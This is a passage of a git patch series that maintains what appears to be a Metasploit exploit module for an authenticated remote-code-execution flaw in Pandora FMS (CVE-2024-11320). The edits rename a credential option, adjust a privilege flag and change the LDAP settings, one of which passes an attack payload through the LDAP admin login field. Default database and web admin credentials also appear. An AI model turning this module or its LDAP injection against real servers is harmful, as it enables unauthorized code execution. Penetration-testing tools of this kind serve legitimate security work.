`127.0.0.1`. +You can check this with the SQL command below if you have local access to the database. +``` +SELECT host FROM mysql.user WHERE user = "pandora"; ++-----------+ +| host | ++-----------+ +| 127.0.0.1 | +| localhost | ++-----------+ +``` +In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database. diff --git a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb index db61368cbc59..37f3e6bc2a10 100644 --- a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb +++ b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb @@ -83,7 +83,7 @@ def initialize(info = {}) OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'Pandor4!']), OptString.new('DB_NAME', [true, 'Pandora database', 'pandora']), OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]), - OptString.new('USER', [false, 'Pandora web admin user', 'admin']), + OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']), OptString.new('PASSWORD', [false, 'Pandora web admin password', 'pandora']) ]) end @@ -222,7 +222,7 @@ def configure_ldap(payload) 'ldap_base_dn' => 'ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg', 'ldap_login_attr' => 'uid', 'ldap_admin_login' => payload, - 'ldap_admin_pass' => 'test', + 'ldap_admin_pass' => nil, 'ldap_search_timeout' => 0, 'secondary_ldap_enabled_sent' => 1, 'ldap_server_secondary' => 'localhost', @@ -317,7 +317,7 @@ def check def exploit @check_running = false # check if we can login at the Pandora Web application with the default admin credentials - @username = datastore['USER'] + @username = datastore['USERNAME'] @password = datastore['PASSWORD'] print_status("Trying to log in with admin credentials #{@username}:#{@password} at the Pandora FMS Web application.") unless pandora_login(@username, @password) From 58c979dc08577be92dbb5afeebd109d19868c86b Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Mon, 23 Dec 2024 19:45:29 +0000 Subject: [PATCH 6/6] updated with correct privileged setting --- .../exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb index 37f3e6bc2a10..64c5e006180e 100644 --- a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb +++ b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb @@ -44,7 +44,7 @@ def initialize(info = {}) ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'php'], - 'Privileged' => true, + 'Privileged' => false, 'Arch' => [ARCH_CMD, ARCH_PHP], 'Targets' => [ [